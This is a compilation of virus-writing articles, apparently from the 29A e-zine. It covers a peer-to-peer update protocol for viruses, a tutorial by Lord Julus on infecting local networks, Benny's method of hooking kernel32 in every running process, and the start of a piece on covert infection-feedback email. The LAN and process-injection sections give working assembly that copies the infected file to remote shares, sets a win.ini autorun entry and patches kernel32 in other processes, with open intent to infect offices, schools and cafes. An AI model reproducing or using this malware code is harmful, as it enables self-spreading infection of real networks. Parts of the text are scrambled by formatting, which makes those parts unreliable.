- We are a virus made by coder 'X' and we go resident by a way that it doesn't concern here. We start to listen PUBLIC port (let's say 6000). We start also a counter. Suppose the counter reaches zero. We assume there is no server working and we are the overlords. So we become server. We get a random port for PRIVATEPORT (let's say 10200) and we start listening 10200 for requests and port 6001 (that's public +1) for HEREIAM messages. Just send the READY2SERVE message. We start another counter. If this counter reaches zero we will send the READY2SERVE. That's avoid there are more than us as server :) Let's say that a virus made by coder 'Y' starts in another machine in our network. And it receives one of our READY2SERVE. hehe Eat shit! We are the server! This sad virus then will send us at 6001 the HEREIAM message. This message includes his module list. We get it and check our list. But before requesting a module (if needed) we need to send the PRIVATEPORT to the client plus out list before update shit. erm... our virus is awesome and has two modules with higher version that the client virus. So will not ask for module. But oh! we receive a little WANNAUPDATE message in our PRIVATEPORT. Then we send the MODULEUPDATE to this 'piltrafilla*' hehe. Later we receive another WANNAUPDATE and we reply as required. But shit happens and the lame user in our machine ends the session :/ ouch. Our glory time ends by now. But there's another virus (remember 'Y'). When its counter reaches zero it becomes server and next viruses sending HEREIAM when 'Y' sends READY2SERVE will get its PRIVATEPORT. And viral life will continue. As you can see it's not as complex as it seems. It's at first time but soon you will start to think adding it :) hard to get it more things to

From theory side that's all folks. But let's walk a bit into a simple implementation. UDP sockets are not blocking. But it means too that you're not sure packets arrives. As i say before don't care. We are coding a virus and moreover UDP are quite secure at local networks (the machines in the same ISP than you when you're connected to internet are very nice to receive those packets). And more than one server is not bad after all coz each client will use ONLY ONE server. The worst case will be 'n' viruses and 'n' servers, that's no communication! Implementin server-to-server communication it's very hard, forgive it! A nice idea should be add a CRC to the messages to avoid errors, at least in big messages. An encryption layer could be easily supported too. Crypt key could be provided by the server with the PRIVATEPORT. And something better: server could send with PRIVATEPORT a pieze of code that has the crypt algo. Each virus could have it's own algo. The client only need the encryptor. Packets must be as small as possible. Let's say 32 bytes for simple communication and ever less than 512 bytes. So we can add a review for the protocol and the WANNAUPDATE could provide a port to make a TCP connection with server to send module data in a more reliable way. It could be more easy than manage a message in several UDP packets ugh :/ Btw we are coding a virus. Try to not code modules of 10 kbs or so ok? That's enought by now. If you want you comments. Let's start our own RFC! hehe can send me your ideas and

Last turn off the lights ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I hope you're not thinkin: 'I'm lost. It really will update a virus?' The idea is you add to your updatable virus a new module and the you can spread it to see how it updates your other samples out there. At leat next generations will be updated :) That improves the machine-tomachine uptade approach using networks. And don't rely in web address anymore! Another point is you can use this distributed system for other things like the payload. What happens if the server triggers a SHUTDOWN mess? Just imagine several machines closing windows at the same time... it is not a wonderful world? If you're thinkin: 'That's impossible.' hehe i don't care what are you thinking, else i'll write here a M.E.F. about what's in your mind. Btw in the 2000 Valencian VX meeting Billy Belcebú, YbY, ... and me where speaking about this shit... and who knows? be scared! The way of the bee

*piltrafilla: little pieze of shit.

<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ> ßßßßßßßßßßßßßßßßßßßßßßß ³ Û Local Network Infection Û ³ ÚÄÄ ú ù þ Û Û Û Û þ ù ú ÄÄÙ ³ Û by Lord Julus / 29A Û ³ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ <ÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Foreword ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ

Hello, ppl!! Here I come with another tutorial that I hope will help you discover the world of local network infection. This idea is quite old, but, as you all know me, I like to take a share of exposing even older ideas in the best way I can think of. The questions which raise here are quite forthcoming: what is a local network, why do we need to infect the local network? First question will be answered further, but the second one is suitable for a foreword, wouldn't you say so? So, besides the home computers, where do most computers exist? I will tell you: in offices, in internet-cafes and in exhibitions. And these are places where computers NEED to be linked into a network. An office is a tipical place were people need to share computer resources in order to be more efficent. It's a tipical place where data needs to be stored on secured servers that are able to backup data so that if one workstation fails nothing gets lost. It's a tipical place where people have shared folders on the server and exchange excel spreadsheets and word documents. The same thing applies for internet cafes. Here, moreso computers are linked into a network and people run executable files, most of them games, irc and email clients. Let us not forget also the school and college computer labs, where students come to learn the magic world of programming... I do hope that you already understood that a local network is a very good place for your viruses to spread and break free. What you need to bare in mind is that in most cases offices, internet cafes and exchibitions have a no floppy disk policy, which means that your code will probably not be able to fly away on a disk, but this is not our concern now. Do not forget that in the mean time offices and internet cafes are almost always on-line and what better way out than the internet door, right? Also, most offices and school labs communicate vastly via e-mail and important files need to be attached to email messages... But, I repeat, how the virus breaks free out of the local network is not our main concern here. Our problem is how can we spread our code into the local network increasing the probability that it will get out of there, or it will be kept for years on the backup tapes... Which is also a pretty neat thing to happen... So, keep this in your mind and start reading...

ÚÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Credits ³ À¿ ÚÙ

ÀÄÄÄÄÄÄÄÄÄÙ Let me not forget first of all to mention all the guys that inspired me in the lan infection through their work and articles! My 29A mates and all the rest that used the following technique!

ÚÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Basics ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÙ Basics... Basically there are no basics in this thing... ;-) Everybody knows what a network is... It's a bunch of computers connected between them in one way or another which allow people to share resources and communicate between them. The local network is sor of a tiny internet, called intranet. Do not make a confusion between the local network and the internet. You can have local networks without internet and the other way around. In this article I will be discussing the local network spreading...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Local network - hardware ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ It's not really our bussines to discuss the hardware of the local network, but I will just mention a few words here. Usually, in a local network we have a server. This is basically a normal computer, but with very high resources (huge and fast harddisks, huge RAM memory, etc). The server is linked to a hub. The hub is just a small device that has a defined number of sockets, which gives the number of resources (other compters or devices) that can be connected to the server. If the network is also on line, one of the sockets is taken by a router, or by another compter that acts like a firewall. All of the remaining sockets have wires that go directly to the other computers (workstations). The workstations have the wires connected into the network board in the back (it has to have 2 lights, one always on, and one flashing as info goes through the network). More or less, this is everything you will ever need to know about LANs, if you are not going to become a network administrator... So, let's move forward to the software part...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Local network - soft representation ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ As one might expect, the local network can be accessed either using the "My Computer" icon, or the "Network neighbourhood". There you can see all the computers that are currently connected into the network. You can double click on them and see what is shared (whatever is shared has a small hand drawn over the icon). Most of the time you will only have a printer or other external device shared, but sometimes you can find the entire harddisk of the remote computer shared. Basically you can access the shared drives as if they are folders on your own workstation and this is what the LAN spreading viruses will try to use. Depending on the security level of the

network, the resources might be protected by individual passwords or not. Basically what your workstation is able to "see" in the beginning is what is called the root of the network. The root of the network will always be a container. Oops! I started with the dirty talking... Let me give some definitions first: Root of network ³ ÚÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Container1 Resource2 Container2 ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Resource6 Resource3 Container3 ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄ¿ Resource4 Resource5

So, not only that it looks like a harddisk file system, it is exactly like a file system. So, a container is resource that has other resources in it, and a final resource has no other branches. Simplified, a resource can be a printer or another disk (hdd, floppy, cd, etc). This is, again, presented very briefly, only the basic things that we need to infect the lan.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Microsoft's LAN standard ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ As always, we are speaking about Windows viruses, right? Well... here again Microsoft comes with some very handy tools that allows our code to roam around the LAN freely... Let me give you some details on how and what does Microsoft call different things and how do they appear in the Win32 system. The thing we ought to look at is the MPR library. The MPR library is the library that you need in order to be able to roam the LAN. The file is called MPR.DLL and can be found in the system directory (SYSTEM or SYSTEM32). Your program must first load this library and get the addresses of the needed functions before it can attempt to access the LAN. There's nothing special about that, just use the LoadLibrary API and load it like any other library. Let's tutorial: see a briefing of the APIs we are interested in in this

WNetOpenEnumA WNetEnumResourceA WNetTCloseEnum Unbelievable, huh? Only three apis and we can do all that? Well, you will see that it is a little tricky to program these apis, because you must use reentrant procedures that save data on stack, you need to allocate and free memory, but this will come just a little bit later on. First let's breakdown these apis: First let me discuss the NETRESOURCEA structure which is the basic structure used in the network browsing:

NETRESOURCEA STRUC dwScope dwType dwDisplayType dwUsage lpLocalName lpRemoteName lpComment lpProvider NETRESOURCEA ENDS Where:

DW DW DW DW DD DD DD DD

? ? ? ? ? ? ? ?

dwScope - represents what kind of resource are we looking for; this value might be one of the following: RESOURCE_CONNECTED RESOURCE_GLOBALNET RESOURCE_REMEMBERED = 00000001h = 00000002h = 00000003h - a connected resource - a global network resource - a previously browsed resource

dwType - represents what type of resource are we looking for; this value might be one of the following: RESOURCETYPE_ANY RESOURCETYPE_DISK RESOURCETYPE_PRINT = 00000000 - any type = 00000001 - disk / file = 00000002 - printer

dwDisplayType - the way the resource is to be browsed; useless dwUsage - what is the usage of this resource? The value might be one of the following: RESOURCEUSAGE_CONNECTABLE RESOURCEUSAGE_CONTAINER RESOURCEUSAGE_RESERVED lpLocalName network device lpRemoteName the network device = 00000001h - can be connected = 00000002h - contains other entries = 80000000h - ???

- a pointer to a string that gives the local name of the

-

a

pointer to a string that gives the remote name of

lpProvider and lpComment - useless fields that give useless info Ok, this structure is very important for us. As you will see we shall have to browse the network as if we were browsing the files on a HDD and this structure will give us all the needed information. But to do this, first we have to open an enumeration handle. This is done with this function:

WNetOpenEnumA( IN DWORD IN DWORD IN DWORD IN LPNETRESOURCEA OUT LPHANDLE );

dwScope, dwType, dwUsage, lpNetResource, lphEnum

type

So, you must tell the system, what scope, what type and what usage of resource are you looking for, you must provide a pointer to a

NETRESOURCE structure to be filled in and it will return to you the handle to the enumeration. Usually when you first use this structure you begin with a NULL parameter for the lpNetResource which means the entire network is to be browsed. After you have opened the enumeration, you must start enumerating resources:

WNetEnumResourceA( IN HANDLE IN OUT LPDWORD OUT LPVOID IN OUT LPDWORD );

hEnum, lpcCount, lpBuffer, lpBufferSize

hEnum - the handle which was returned by WNetOpenEnum lpcCount - how many entries do you want to see? Usually you input here a big number like 0FFFFFFFFh and all entries are processed. The function will return in this field the actual number of resources that were found. lpBuffer - this is a buffer that will be filled with an array of NETRESOURCE structures. You must be sure you have enough space in this buffer. The order in which the structures are filled in is random. One will have to process each entry to be able to browse the net completely. lpBufferSize - the size of the buffer to receive data After you have finished enumerating all resources that belong to a certain enumeration, you must be sure to close the enumeration handle: WNetCloseEnum( IN HANDLE );

hEnum

Ok, this was a little briefing on the apis we can use. Let's go deeper and see some code that will make you understand even better how this is done.

ÚÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Code ³ À¿ ÚÙ ÀÄÄÄÄÄÄÙ First of all, I do hope that all of you are familiar with the concept of local labels. This concept is widely used by all high level languages and it means that you may have variables that have their value stored directly on the stack and everytime that procedure is called a new room is created on the stack to hold the variables. This is why you can recurse procedures (make one procedure call itself) without losing the variables values, because they are stored on the stack and the stack goes back and forth as you call or return from procedure. One very important issue here is that when you define such a procedure the common way it will result will be more or less like this: MyProc proc C var1:DWORD, var2:DWORD local v1:DWORD local v2:DWORD mov eax, var2

mov edx, v1 ret MyProc Endp And when compiled it will look like this: enter 0008, 00 mov eax, [ebp+0ch] mov edx, [ebp-04h] leave ret So, the stack looks like this before the leave: var2 var1 <return to caller address> <saved ebp> v1 v2 = = = = = = EBP EBP EBP EBP EBP EBP + + + + 0ch 08 04h 00h 02h 04h

EBP = ESP =

So, you see, you cannot rely on using EBP as a delta handle because the compiler automaticaly generates instructions that use EBP for other purposes. So, you must get your delta handle in ANOTHER register than EBP! Also, remember NOT to use the delta handle for the local variables, e.g. if you have the delta into ESI DO NOT EVER say: mov edx, [esi+v1] that's a mistake! "v1" is on stack and it is manipulated directly!!

Ok, this being said, let us start defining our network infection procedure. Basically what we will do, we will create an enumeration for the root of the network, and then for each resource which is a container we will open another enumeration and so on until we finish all entries. For each resource which is a disk, we will try to retrieve its name and infect it: NetInfection proc C lpnr:DWORD local lpnrLocal :DWORD local hEnum :DWORD local ceEntries :DWORD local cbBuffer :DWORD where: lpnr lpnrLocal hEnum ceEntries cbBuffer = = = = = the address of the network enumeration on entry the address of the enumeration passed as a parameter a handle to the enumeration how many entries in the enumeration a buffer to hold enumeration data ; ; ; ; ;

Now we get our delta handle into register EDX: pusha call get_new_delta get_new_delta: pop edx sub edx, offset get_new_delta And now enumeration: let's initialize our ;save all regs ;get delta ; ; ; local variables and try to open the

mov [ceEntries], 0FFFFFFFFh

;as many entries as poss.

mov [cbBuffer], 4000 lea eax, [hEnum] mov esi, [lpnr] call [edx+_WNetOpenEnumA],\ RESOURCE_CONNECTED,\ RESOURCETYPE_ANY, 0,\ esi,\ eax or eax, eax jnz exit_net

;memory buffer size ;handle to enumeration ;parameter ;the enumeration API ;only connected resources ;any type of resource ;where the result goes ;where the handle goes ; ;failed? ;

If we are here we succesfully opened the enumeration of the network resources. Now, we need memory to get all the data there so we will have to allocate some memory. I decided that 4000 bytes is more than enough:

call [edx+_GlobalAlloc], GPTR, cbBuffer or eax, eax jz exit_net mov [lpnrLocal], eax

;allocate memory ; ; ;save memory handle

Now we have the enumeration handle and we have the available memory to fill the data in... All we have left to do is enumerate the resources:

enumerate: lea eax, cbBuffer push eax mov esi, [lpnrLocal] push esi lea eax, ceEntries push eax push hEnum call [edx+_WNetEnumResourceA] or eax, eax jnz free_mem

; ;enumerate all the ;resources ;where is our memory? ; ;how many entries? ; ;our enumeration handle ; ; ;failed? ;

Ok, now, if we are here that means that our enumeration was also succesful. The number of entries in this resource tree comes into our local variable ceEntries. All we need to do is take that into a counter and loop around:

mov ecx, [ceEntries] or ecx, ecx jz enumerate roam_net: push ecx esi mov eax, [esi.dwType] test eax, RESOURCETYPE_DISK jz get_next_entry

mov edi, [esi.lpRemoteName] mov esi, [esi.lpLocalName] or esi, esi

;how many entries? ; ; ; ; ;save them... ; ;is it a disk resource? ; ;if not skip (might be ;a printer or smth. else) ; ;get remote name ;get local name ;empty?

jz no_good_name cmp word ptr [esi],0041 jz no_good_name call RemoteInfection no_good_name: pop esi mov eax, [esi.dwUsage] test eax, RESOURCEUSAGE_CONTAINER jz get_next_entry

; ; ;is it a floppy disk? ;("A") ; ;try to infect it! ; ; ; ; ;do we have a container? ; ;

Now, if we have a container, than it means that that one itself might have some other resources inside, so we can recurse this procedure by pushing on stack the ESI register which holds the address of this resource's memory area:

push esi call NetInfection

; ;recurse!!

When there is no other tree branch for the current resource we simply continue looking up the rest of the resources. For this we increase ESI with 20h which is the size of the network structure and we loop:

get_next_entry: add esi, 20h pop ecx loop roam_net jmp enumerate

; ;next resource! ; ; ; ;and next enumeration...

course, after we finished, or we ran out of memory we must first of all free all the memory we allocated, and then we have to close the enumeration and return from the procedure:

Of

free_mem: call [edx+_GlobalFree], [lpnrLocal] call [edx+_WNetCloseEnum], [hEnum] exit_net: popa ret NetInfection endp

; ;free the memory ;and close enumeration. ; ; ; ; ;

You saw that above I made some checkings: if the name of the remote resource is valid or if it is a floppy disk than no infection occures, otherwise we call our Remote Infection procedure. Let me tell you that here one can do whatever comes into his mind... I mean, ESI holds the name of the remote computer. What more do you need? I will give you one of the many ways you can use, one which appeared in more viruses and which proves to be reliable enough. It's main idea is that if you are connected to another computer that has a Windows system on it, for sure there will exist there a folder that will contain the Windows directory... And in the windows directory we have the good old Win.Ini file which is still kept as a

backward compatibility. Of course we know that almost all windows directories are called Windows, Win98, Win95, WinNT, and stuff like that. What you could do is get the windows directory on the local workstation and assume that as long as the computers are connected into a network the Windows was installed in the same way so the directory will be the same. But for the moment the method of testing various directories is pretty good (was used by Gryio in Cholera). So what you need to do is create some strings like this: <remote <remote <remote <remote And found it! name>\Windows\win.ini name>\WinNT\win.ini name>\Win95\win.ini name>\Win98\win.ini if you can open the win.ini file. If you can it means you

check

The next step is to copy the currently running file over the net into the windows directory. That is very easy using CopyFileA. After that you need to create an entry in the win.ini file to read like this: [Windows] (or whatever the windows dir is) run=c:\windows\file.exe And the file file.exe is the infected victim from the local computer but under another name. At the next reboot the win.ini file will launch the file called file.exe and guess what: the entire windows directory will get infected. For the user it will look kinda strange why some application automatically started running after reboot but... he will not have anything to do about it. And that's because your virus must be equiped with a cool feature (which appeares in Rammstein). Any infected victim must check in the windows directory and if it finds the file file.exe there and no entry in the win.ini file, or if there is an entry and there is no file, than it must delete the file and the entry, so there will be no trace of the traspassing files. Another interesting thing you can do is to mark in the registry of the local computer all the remote paths that have been infected and only reinfect those once a month, for example. Otherwise the network will suddenly start to slow down when all workstations are infected and they keep reinfecting eachother over and over again. In this way when all computers are infected the process of spreading stops until the next month when a new flood occurs. In this way if one of the workstations is cleaned it will get infected again. Let's see step by step how we can achieve what I explained here: First of all we will save all the registers and we can take back the delta handle into the EBP register because in this procedure we do not mess with the stack in anyway:

RemoteInfection proc pusha call @___1 @___1: pop ebp sub ebp, offset @___1

; ; ; ;restore the delta handle ; ; ;

Next we need to get the name of the running file itself (the infected file), so that we can copy it over the net:

push 260 lea eax, [ebp+myname] push eax push 0 call [ebp+_GetModuleFileNameA] or eax, eax jz cannot_roam

;get the current file ;name ; ; ; ; ;

Now we will point the various possible Windows dir names and create the name of the dropper and the name of the win.ini file. lea esi, [ebp+windirs] test_paths: lea ebx, [ebp+droppername] call [ebp+_lstrcpy], ebx, edi lea ebx, [ebp+winininame] call [ebp+_lstrcpy], ebx, edi lea ebx, [ebp+droppername] call [ebp+_lstrcat], ebx, esi lea eax, [ebp+drop] call [ebp+_lstrcat], ebx, eax ;point windows dir names ; ; ;copy path for dropper ; ;copy path for win.ini ; ; ;copy windows dir ; ;and dropper name ;

Let's assume that the windows dir on both computers is "C:\Windows" and the running file is CALC.EXE. Then we will have: droppername = "C:\Windows\file.exe" winininame = "C:\Windows\win.ini" myname = "C:\Windows\calc.exe" Now, let's copy the myname file into the droppername file: ; ;now copy ourself over ;the LAN under the new ;name into the remote ;windows directory ; ; ;

push TRUE push ebx lea eax, [ebp+myname] push eax call [ebp+_CopyFileA] or eax, eax jz test_next

What is left to do is to create the entry in the win.ini file that will assure us that in the next reboot the file file.exe will be executed: lea ebx, [ebp+winininame] call [ebp+_lstrcat], ebx, esi lea eax, [ebp+winini] call [ebp+_lstrcat], ebx, eax lea eax, [ebp+winininame] push eax lea eax, [ebp+droppername] push eax lea eax, [ebp+cmd] push eax inc esi push esi call [ebp+_WritePrivateProfileStringA] jmp cannot_roam Of ;copy the windows dir name ;to the win.ini path ; ;and it's name ; ;Now create this entry ;into the win.ini file: ; ;[Windows] ;run=c:\windows\ramm.exe ; ; ; ; ;

course, if the dir name "Windows" was not good, our procedure has

to continue searching for the rest of the windows dir names: test_next: @endsz cmp byte ptr [esi], 0fh jne test_paths cannot_roam: popa ret ; ;go and try the next ;windows path! ; ; ; ; ;

Take a look also at the definition of our variables: windirs db db db db db db winini drop cmd "\Windows", "\WinNT" , "\Win" , "\Win95" , "\Win98" , 0fh 0 0 0 0 0 ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

db "\Win.ini" , 0 db "\file.exe", 0 db "run" , 0

myname db 260 dup(0) droppername db 260 dup(0) winininame db 260 dup(0) RemoteInfection endp

That was it!!! It is almost unbeliveable how small the code is and yet how powerful it is... Of course, for a better success you should combine the above procedure with some patching code and some hacking code. This is needed because in the raw form I presented, the code will fail if the network is protected with passwords or if no resource is shared. So, you would need to patch some files to get admin rights, but this is not what I speak about in this article... I hope this was clear enough, and I expect you to write me back if you were able to use this or if you discovered other ways more interesting, more powerful, more reliable... I wait for your e-mails on my address: lordjulus@geocities.com.

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Final word ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ In my own opinion, the spreading inside the local network is probably the next important after the internet spreading. I think that you can achieve a lot and you can have a very quick and good spreading of your code, and harder to be traced. I mean, if you infect one workstation in the school and the second day all stations are infected it will be rather difficult, unless there exists a full movement logging, for the network administrator to trace where the virus emerged. Not to speak about an Internet Cafe. I think that a LAN spreader combined with an IWorm is probably the best solution nowadays... Again, great thanks to the entire Microsoft team for creating so many ways of doing it!!!! ;-p~~~~

That's all, folks!!! Have a great time!!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus / 29A (2000) ³ ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Multi-process residency ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ by Benny/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ it's a long time when the first viruses became memory resident. while the time passed we, virus coderz, found new wayz how to become memory resident under Windows platformz. under Win95/98 it was very easy to jump to Ring-0, hook all file APIz and so stay resident. 100% Win32 compatible residency could be done by registry tricks or by hooking importz in Import Table of PEz (so called per-process residency). but to achieve "multi-process" residency - residency in all processes, not only in the current one is harder. I'll discuss here my method, which is implemented in Win32.HIV and is 100% API based. this virus can stay resident, not only by hooking current process'es APIz, but in all currently running processes. imagine this: you have opened cmd.exe application (command interpret) and accidentelly you'll execute such virus. from that time, all file operationz, even in cmd.exe process are hooked and every executable file opened by the application(z) will be infected. nice, eh?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Explanation ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ this method is based on kernel32.dll infection algorithm. bad stuff is that it worx only on WinNT/2k machinez (becoz of using APIz to work with processes, which are not implemented in Win95/98). my idea is to hook some file APIz in already loaded kernel32.dll, in all currently running processes. how do I mean it? here is the scheme: ---- operation in separated thread ---1* create handle to process no.1 2* find the address of loaded kernel32.dll library 3* allocate memory in the victim process and copy there virus 4* copy k32 to our buffer and hook there all file APIz 5* unprotect kernel32.dll pages 6* overwrite kernel32.dll with the infected one (from the buffer) 7* 8* create handle to process no.2 ... etc ...

1*,7*

I know two wayz how to create handle to any already running process.

I) first is by using legal APIz from the system: EnumProcesses OpenProcess for detailed description how to work with these APIz look at GriYo's "EXPLORER *in-memory* infection" article published in 29A#4. II) second method is used by Win32.HIV. becoz every process has its own

ID number, valid in whole system, there's no problem to just randomly select one small number (<4000), check if it's valid PID and if it is, create the handle to it. code from Win32.HIV: xor ebx,ebx ;EBX - PID mov ecx,80000h ;number of processes nextPID:inc ebx ;increment PID pushad ;store all registers push ebx ;Process ID push 0 ;no inheritance push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_QUERY_INFORMATION ;try to get handle of process call [ebp + a_OpenProcess - gdelta] ;thru our ID ;if the PID is valid, we should have handle in EAX, otherwise EAX=0 test eax,eax ;have we correct handle? jne gotPID ;yeah, ID is valid, infect process! pid_loop: popad ;restore all registers loop nextPID ;nope, try it with another ID ;finished, quit

2*

this is very easy. simply, kernel32.dll should be loaded in all processes on the same address (I can't imagine the case when it should not be so), so all you have to do is to find kernel32.dll's address in your process.

3*

there is VirtualAllocEx API for memory allocation in another process. the function prototype is similar to VirtualAlloc API, with the one exception - the first parameter is handle to process: push PAGE_EXECUTE_READWRITE push MEM_RESERVE or MEM_COMMIT push virus_size push 0 ;allocate enough space push ebx ;for virus code in call [ebp + a_VirtualAllocEx - gdelta] ;victim process test eax,eax je end_K32_dealloc ;quit if error mov [ebp + virus_base - gdelta],eax ;save the address

4*

first what you have to do is to get the size of kernel32.dll. the code from Win32.HIV follows: ;handle to EBX ;get K32 base

gotPID: xchg eax,ebx mov esi,12345678h k32_base = dword ptr $-4

;Now we have to get the size of K32 in another process. We use the trick ;-> we will search thru the address space for the end of K32 in memory ;and then we will substract the value with the base address, so we will ;get the size start_parse: push mbi_size lea eax,[ebp + mbi - gdelta] ;MBI structure push eax push esi push ebx ;get informations about

call [ebp + a_VirtualQueryEx - gdelta] test eax,eax ;adress space je end_K32_patching ;quit if error ;is memory commited? test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT je end_parse ;quit if not, end of K32 found mov eax,[ebp + reg_size - gdelta] ;get size of region add [ebp + k32_size - gdelta],eax ;add the size to variable add esi,eax ;make new address jmp start_parse ;and parse again end_parse: sub esi,[ebp + k32_base - gdelta] ;correct to size and save it mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start)

in variable "k32_size" is now stored the size of kernel32.dll. next step is to allocate memory for k32 (by VirtualAlloc) and hook all file API functionz: push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push esi push 0 call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space test eax,eax ;for K32 in our process je end_K32_patching xchg eax,edi mov [ebp + k32_copy - gdelta],edi ;save the address

5*

kernel32.dll's memory pages are protected, but you can easilly unprotect them by VirtualProtectEx API. the code follows: ;now we will change protection of K32 memory so we will be able to ;overwrite it with infected version of K32 lea edx,[ebp + tmp - gdelta] push edx push PAGE_EXECUTE_READWRITE push dword ptr [ebp + k32_size - gdelta] push dword ptr [ebp + k32_base - gdelta] push ebx call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to dec eax ;rewrite the K32 with jne end_K32_dealloc ;infected one

6*

for overwriting data in another process you can use WriteProcessMemory: lea edx,[ebp + tmp - gdelta] push edx push dword ptr [ebp + k32_size push dword ptr [ebp + k32_copy push dword ptr [ebp + k32_base push ebx call [ebp + a_WriteProcessMemory

gdelta] gdelta] gdelta] - gdelta] ;rewrite K32

ÚÄÄÄÄÄÄÄÄÄ¿ ³ Closin' ³ ÀÄÄÄÄÄÄÄÄÄÙ woow! and the multi-process resident virus is finished. this method is not very difficult to realise, it is small and very efficent. and it worx. if you would

like to get more informationz about this, or you will want anything else, contact me!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ # Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿ @ benny_29a@privacyx.com ³ @ http://benny29a.cjb.net ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

VIRII FEEDBACK by TangentVirii. INTRO. Uh... it was suposed to be a big article about Artificial Life applied to the virus world, but I hadn't got so much time. So I wrote this mini text, then if 29a#5 is released before the other article is finished I can publish a text (this text) there anyway. Ok, lets go to the real problem. I think one of the problems for virus coders is that we usually haven't got feedback with our programs. For instance, if we spread a virus, we can't know if it's working well or not. The unique way to know if all has worked fine is reading the AVers texts: if they say something as 'The 5626 Virus is one of the most powerful viruses in the world. It has infected more than 60000 PCs over the world', we know that all is fine. However, these texts aren't very trustable. They have lots of lies, and other bullshits. The question is: how can my virus say me if he's spreading a lot, or not? I have an answer to this question that appeared in my mind when I began thinking about using ALIFE related ideas with viruses. It's using the mail, but in a strange way. MAILING. In this article we aren't gonna explain how to send a single mail with Win32... we 're gonna explain a more original thing. How to do it in a secure way! If you want to learn how to send a mail with the Win32 API, search it in Internet, there's a lot of info about Winsock. You can send mails with MAPI... or you can do it with SMTP, that is more efficient. U CHOOSE. FEEDBACK. The idea in this text is to allow viruses to send us info by email without showing our email address to all the world. That is what I call feedback. It'd be nice receiving a mail from our virii saying he's fine and he's spreading a lot!!! WHATS THE PROBLEM. Think you write a code as the following... emailtext db 'Hello, I've infected other machine.',0 emailaddress db 'stupidmailer@yahoo.com',0 ; mail me a text push offset emailtext push offset emailaddress call sendEmailToMe ...where sendEmailToMe is a simple function that uses SMTP (or MAPI) to send a mail with the text emailtext to emailaddress. It's fine, but what about if you don't want to show your email address? You can crypt the emailaddress too, but a sniffer can capture the email address anyway. How the hell can you hide your address but allowing your

